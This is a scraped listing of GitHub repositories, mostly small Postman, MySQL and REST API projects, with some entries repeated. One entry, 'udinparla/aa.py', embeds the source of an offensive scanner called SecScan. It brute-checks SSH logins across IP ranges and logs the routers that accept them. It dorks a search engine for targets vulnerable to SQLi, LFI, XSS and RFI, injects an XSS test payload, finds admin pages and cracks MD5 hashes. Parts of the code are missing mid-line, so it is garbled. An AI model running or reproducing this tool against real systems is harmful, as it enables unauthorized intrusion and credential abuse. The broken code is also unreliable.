neagkv/Mybatis-Spring-MySQL api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql |
practice calling using mybatis to read from an api and populate a mysql database, with updates from postman | 0 stars | 0 watchers | 0 forks |
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.php api blueprint, asyncapi, json schema, oauth, openid, sql |
A Php based Mysql Prepare Statement Wrapper Class. | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.py api blueprint, asyncapi, json schema, oauth, openid, sql |
A Python based Mysql Wrapper Class. | 0 stars | 0 watchers | 0 forks |
psjoshi20/todo api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo |
todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 | 0 stars | 0 watchers | 0 forks |
rashidmajeed/dotnetcore-postgresql api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi |
c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
sandipfadadu/api-in-core-php-mysqli api blueprint, asyncapi, issue, json schema, mysql, oauth, openid, sql |
Hellow Guys, This Script is Useful who want to develop api in core php with mysqli. This Code is Working 100% so no chance for any issue or Error. to GET Response use POSTMAN Extension. Thank You... | 0 stars | 0 watchers | 0 forks |
shahidur1/SpringBootMysqlHibernateRestApi_PostmanAngularOK api blueprint, asyncapi, json schema, oauth, openid, sql |
SpringBootMysqlHibernateRestApi_PostmanAngular Test OK | 0 stars | 0 watchers | 0 forks |
sharejee-prepare-teach/access-oauth2-with-postman access, api blueprint, asyncapi, auth, json schema, oauth, oauth2, openid, prepare, sql |
0 stars | 0 watchers | 0 forks | |
Suman-eng/SpringOAuthWithPostmanAndMysql api blueprint, asyncapi, json schema, oauth, openid, sql |
OAuth Authentication In Spring Boot | 0 stars | 0 watchers | 0 forks |
vertical-sudhir/SBMysqlCrudDemo api blueprint, asyncapi, json schema, oauth, openid, sql |
Spring Boot CRUD using MySql Database, Postman | 0 stars | 0 watchers | 0 forks |
Victor10-m/mysql-nodejs-rest-api api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo |
Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman | 0 stars | 0 watchers | 0 forks |
wesjones15/learning-apis-sql api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql |
Python, APIs, SQL, Postman, Docker | 0 stars | 0 watchers | 0 forks |
xinsnake/oauth-cmd-helper api blueprint, asyncapi, auth, helper, json schema, oauth, openid, sql |
OAuth2 Command Line helper... Tired of using Browser + Postman... | 0 stars | 0 watchers | 0 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
XeroAPI/xero-postman-oauth2 api blueprint, asyncapi, auth, collection, json schema, oauth, oauth2, openid, postman collection, sql |
A postman collection for use with Xero's API and OAuth 2.0 | 0 stars | 0 watchers | 5 forks |
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
vxhly/NME-server api blueprint, asyncapi, json schema, oauth, openid, server, sql |
基于 Node.js + Mysql + Express 的 API 服务端 | 2 stars | 2 watchers | 0 forks |
yeosz/dtool api blueprint, asyncapi, fake, json schema, mysql, oauth, openid, sql, tool |
数据生成器,数据库工具,数据库填充,伪数据,faker,mysql数据字典,数据库比对 | 0 stars | 0 watchers | 4 forks |
esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman- api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql |
No description available. | 1 stars | 1 watchers | 1 forks |
Ajesh777/LaravelApiVersioning api blueprint, asyncapi, json schema, oauth, openid, sql |
Laravel, API, Versioning, php, Composer, Postman, Node.js, artisan, sql, migrations, CRUD, Best Practices, Article API, Person API, Application Interface, Example, Training | 1 stars | 1 watchers | 1 forks |
martinberlin/postman-reporter api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests |
Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database | 1 stars | 1 watchers | 1 forks |
mohamed-abdo/performance-load-test api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit |
Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). | 1 stars | 1 watchers | 0 forks |
ivangfr/springboot-testing-mysql api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities |
The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman | 1 stars | 1 watchers | 0 forks |
ming-zh/node.js-xmysql-postman api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
node.js+xmysql+postman实现接口自动化测试,并校验数据库 | 1 stars | 1 watchers | 0 forks |
pawanmethre/my-first-Flask-resful-application api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool |
My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. | 1 stars | 1 watchers | 0 forks |
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
liyinchigithub/Omysql api blueprint, asyncapi, github, json schema, mysql, oauth, openid, sql |
postman操作Mysql数据库 | 0 stars | 0 watchers | 1 forks |
ahmadarif/laravel-oauth2 api blueprint, asyncapi, auth, json schema, laravel, oauth, oauth2, openid, sql |
Laravel + Oauth2 + Grant Type Password Example | 0 stars | 0 watchers | 0 forks |
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
Mardiv-18/Rest-Api-TSF_NoobCoder api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql |
Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman | 0 stars | 0 watchers | 0 forks |
Rutuja177/RestApi-CRUD-Operations api blueprint, asyncapi, json schema, mysql, oauth, openid, sql, test, testing |
I have created 3 APIs( Heroes, Product, category) created in php and mysql. And testing it on POSTMAN | 0 stars | 0 watchers | 0 forks |
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-node.js-xmysql- api blueprint, asyncapi, description, json schema, mysql, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-wildfly-mysql api blueprint, asyncapi, description, docker, json schema, mysql, oauth, openid, script, sql, wildfly |
No description available. | 0 stars | 0 watchers | 0 forks |
mathieupoulenard-pv/API-salesforce-openidConnect.postman api blueprint, asyncapi, description, json schema, oauth, openid, salesforce, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
psjoshi20/node-express-psql-seq-postman api blueprint, asyncapi, description, express, json schema, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
tarang777/Create-order-using-oauth-rest-api-in-android android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool |
Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. | 0 stars | 0 watchers | 0 forks |
paulgrimaldo/demo-spring-hibernate api blueprint, asyncapi, hibernate, json schema, oauth, openid, spring, sql |
Ejemplo de SpringBoot, Hibernate, Mysql & Postman | 0 stars | 0 watchers | 0 forks |
aboelkassem/ChattingApp angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system |
real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite | 0 stars | 0 watchers | 0 forks |
alexkmartinez77/startnow-node200-sequelize-workshop api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop |
Using Postman and Express routes to run CRUD operations on Mysql database. | 0 stars | 0 watchers | 0 forks |
ash2042987/PromineoFinalProject api blueprint, asyncapi, boot, controller, json schema, mysql, oauth, openid, sql |
Respositiories,controllers, entities, mysql, Postman, Spring-boot | 0 stars | 0 watchers | 0 forks |
atljoseph/api.go.josephgill.io api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website |
This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. | 0 stars | 0 watchers | 0 forks |
avinash24p/Postman-SqlClient api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql |
Node App to integrate Postman like app and sql client in a single page app | 0 stars | 0 watchers | 0 forks |
bamaboyAsh/springbootrestapi api blueprint, application, asyncapi, boot, json schema, mysql, oauth, openid, rest, restapi, spring, springboot, sql |
Spring Boot application using Hibernate mysql Rest API and Postman | 0 stars | 0 watchers | 0 forks |
birish87/ppgService api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql |
simple springboot, rest service whereby we can integrate postman with our postgresql db. | 0 stars | 0 watchers | 0 forks |
ChillSpike/sprint-boot-jpa-mysql api blueprint, asyncapi, boot, client, json schema, mysql, oauth, openid, print, sql |
Spring Boot JPA with mysql using POSTMAN client | 0 stars | 0 watchers | 0 forks |
cjkas/postman-widfly-mysql api blueprint, asyncapi, json schema, mysql, oauth, openid, sql |
0 stars | 0 watchers | 0 forks | |
ckailash/myob-php-oauth2 api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql |
Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-xmysql-node.js api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
全接口自动化 | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-employees api blueprint, asyncapi, employee, employees, express, json schema, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-movies api blueprint, asyncapi, express, json schema, movie, movies, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
edwinchavez/Deber_poo_Efcv api blueprint, asyncapi, json schema, oauth, openid, postgres, postgresql, sql |
Deber de POO usando postgresql enviando datos desde postman | 0 stars | 0 watchers | 0 forks |
euhenriquemarques/WEBService-Java-springBoot api blueprint, asyncapi, boot, java, json schema, mysql, oauth, openid, spring, spring boot, sql, tool, tools |
WEBService Rest, com java, spring boot, mysql, devtools, jpaRespoitory, e Postman | 0 stars | 0 watchers | 0 forks |
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
FP-GmbH/fcm-oauth-generator api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools |
FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. | 0 stars | 0 watchers | 0 forks |
geekyanurag/Web-Services api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql |
Rest api creation for 3 sets of api's using php and mysql and used postman as client. | 0 stars | 0 watchers | 0 forks |
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
iamwarning/message-api-with-nestjs api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql |
Simple API that performs a message CRUD connected to a mysql database using NestJS | 0 stars | 0 watchers | 0 forks |
Jespert88/FinalJavaTask api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task |
Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) | 0 stars | 0 watchers | 0 forks |
jmaribau/DemoHtCm api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools |
Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-tomee-mysql api blueprint, asyncapi, docker, json schema, mysql, oauth, openid, postman tests, sql, test, tests, tomee |
Docker with postman tests with tomee and mysql | 0 stars | 0 watchers | 0 forks |
komalng/TuringChallenges api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing |
This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. | 0 stars | 0 watchers | 0 forks |
kran/pm2ab api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql |
postman to api blueprint | 0 stars | 0 watchers | 0 forks |
LockeReed/knex-lesson api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql |
learning postgresql, knex, postico, postman | 0 stars | 0 watchers | 0 forks |
mayankpatel1004/nodejs-express-mvc-mysql api blueprint, asyncapi, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Nodejs with mysql, Express , MVC, Postman | 0 stars | 0 watchers | 0 forks |
meghnadsaha/REST-API-Web-Application api blueprint, application, asyncapi, client, data, database, json schema, mysql, oauth, openid, sql |
A simple CRUD application Framework - Jersey Jax-rs for creating RESTful APIs in Java Editor - Eclipse Database - mysql Rest API client - Postman(for making REST API calls) (6) Hibernate to interact with database. | 0 stars | 0 watchers | 0 forks |
neagkv/Mybatis-Spring-MySQL api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql |
practice calling using mybatis to read from an api and populate a mysql database, with updates from postman | 0 stars | 0 watchers | 0 forks |
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.php api blueprint, asyncapi, json schema, oauth, openid, sql |
A Php based Mysql Prepare Statement Wrapper Class. | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.py api blueprint, asyncapi, json schema, oauth, openid, sql |
A Python based Mysql Wrapper Class. | 0 stars | 0 watchers | 0 forks |
psjoshi20/todo api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo |
todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 | 0 stars | 0 watchers | 0 forks |
rashidmajeed/dotnetcore-postgresql api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi |
c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
sandipfadadu/api-in-core-php-mysqli api blueprint, asyncapi, issue, json schema, mysql, oauth, openid, sql |
